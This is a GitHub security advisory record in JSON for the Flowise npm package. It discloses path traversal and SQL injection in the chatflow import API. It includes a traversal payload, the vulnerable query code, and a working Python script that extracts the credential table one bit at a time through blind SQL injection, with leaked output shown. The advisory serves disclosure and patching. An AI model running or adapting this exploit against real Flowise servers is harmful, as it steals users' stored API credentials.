{ "schema_version": "1.4.0", "id": "GHSA-9c4c-g95m-c8cp", "modified": "2025-04-07T18:55:13Z", "published": "2025-04-07T18:55:13Z", "aliases": [], "summary": "FlowiseDB vulnerable to SQL Injection by authenticated users", "details": "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n ```json\n {\n \"Chatflows\": [\n {\n \"id\": \"../../../../../../apikey\",\n \"name\": \"clickme\",\n \"flowData\": \"{}\"\n }\n ]\n }\n ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial[]): Promise => {\n try {\n const appServer = getRunningExpressApp()\n\n // step 1 - check whether file chatflows array is zero\n if (newChatflows.length == 0) return\n\n // step 2 - check whether ids are duplicate in database\n let ids = '('\n let count: number = 0\n const lastCount = newChatflows.length - 1\n newChatflows.forEach((newChatflow) => {\n ids += `'${newChatflow.id}'` // <===== user input\n if (lastCount != count) ids += ','\n if (lastCount == count) ids += ')'\n count += 1\n })\n\n const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n .createQueryBuilder('cf')\n .select('cf.id')\n .where(`cf.id IN ${ids}`) // <===== here\n .getMany()\n const foundIds = selectResponse.map((response) => {\n return response.id\n })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above.\nWhen `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n url: str,\n token: str,\n payload: dict\n):\n response = requests.post(\n f'{url}/api/v1/chatflows/importchatflows',\n headers={\n 'Authorization': f'Bearer {token}'\n # 'Authorization': f'Basic {token}'\n },\n json=payload\n )\n\n return response.json()\n\n\ndef import_normal_data(\n api_url: str,\n token: str,\n normal_data: str\n):\n data_id = 'aaaaaa'\n\n payload = {\n \"Chatflows\": [\n {\n \"id\": data_id,\n \"name\": normal_data,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n import_chatflows(\n url=api_url,\n token=token,\n payload=payload\n )\n return data_id\n\n\ndef get_character(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str,\n index: int\n):\n injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n bitbox = [\n 64, 32, 16, 8, 4, 2, 1\n ]\n character = 0\n for bit in bitbox:\n payload = create_payload(c=character + bit)\n chatflows_json['Chatflows'][0]['id'] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if 'DOUBLE value is out of range' in res['message']:\n # character is more then bit\n character += bit\n else:\n # character is less then bit\n character += 0\n\n return chr(character)\n\n\ndef get_length(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str\n):\n injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n column_len = 0\n bitbox = [\n 256, 128, 64, 32, 16, 8, 4, 2, 1\n ]\n for bit in bitbox:\n payload = create_payload(c=column_len + bit)\n chatflows_json['Chatflows'][0]['id'] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if 'DOUBLE value is out of range' in res['message']:\n # column_len is more then bit\n column_len += bit\n else:\n # column_len is less then bit\n column_len += 0\n\n return column_len\n\n\ndef main(\n url: str,\n token: str\n):\n api_url = url\n\n column_box = [\n 'credentialName',\n 'encryptedData'\n ]\n\n data_id = import_normal_data(\n api_url=api_url,\n token=token,\n normal_data='flow01'\n )\n\n for column_name in column_box:\n column_len = get_length(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name\n )\n\n print(f'[+] {column_name} length is {column_len}')\n\n result = ''\n for i in range(column_len):\n result += get_character(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name,\n index=i + 1\n )\n\n print(f'[+] {column_name}: {result}')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--url',\n type=str,\n default='http://flowise:3000'\n )\n parser.add_argument(\n '--access',\n type=str,\n required=True,\n help='Get from http://flowise:3000/apikey'\n )\n\n m_args = parser.parse_args()\n\n main(\n url=m_args.url,\n token=m_args.access\n )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids & chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L" } ], "affected": [ { "package": { "ecosystem": "npm", "name": "flowise" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "2.2.7" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp" }, { "type": "WEB", "url": "https://github.com/FlowiseAI/Flowise/pull/4226" }, { "type": "PACKAGE", "url": "https://github.com/FlowiseAI/Flowise" } ], "database_specific": { "cwe_ids": [ "CWE-564" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-04-07T18:55:13Z", "nvd_published_at": null } }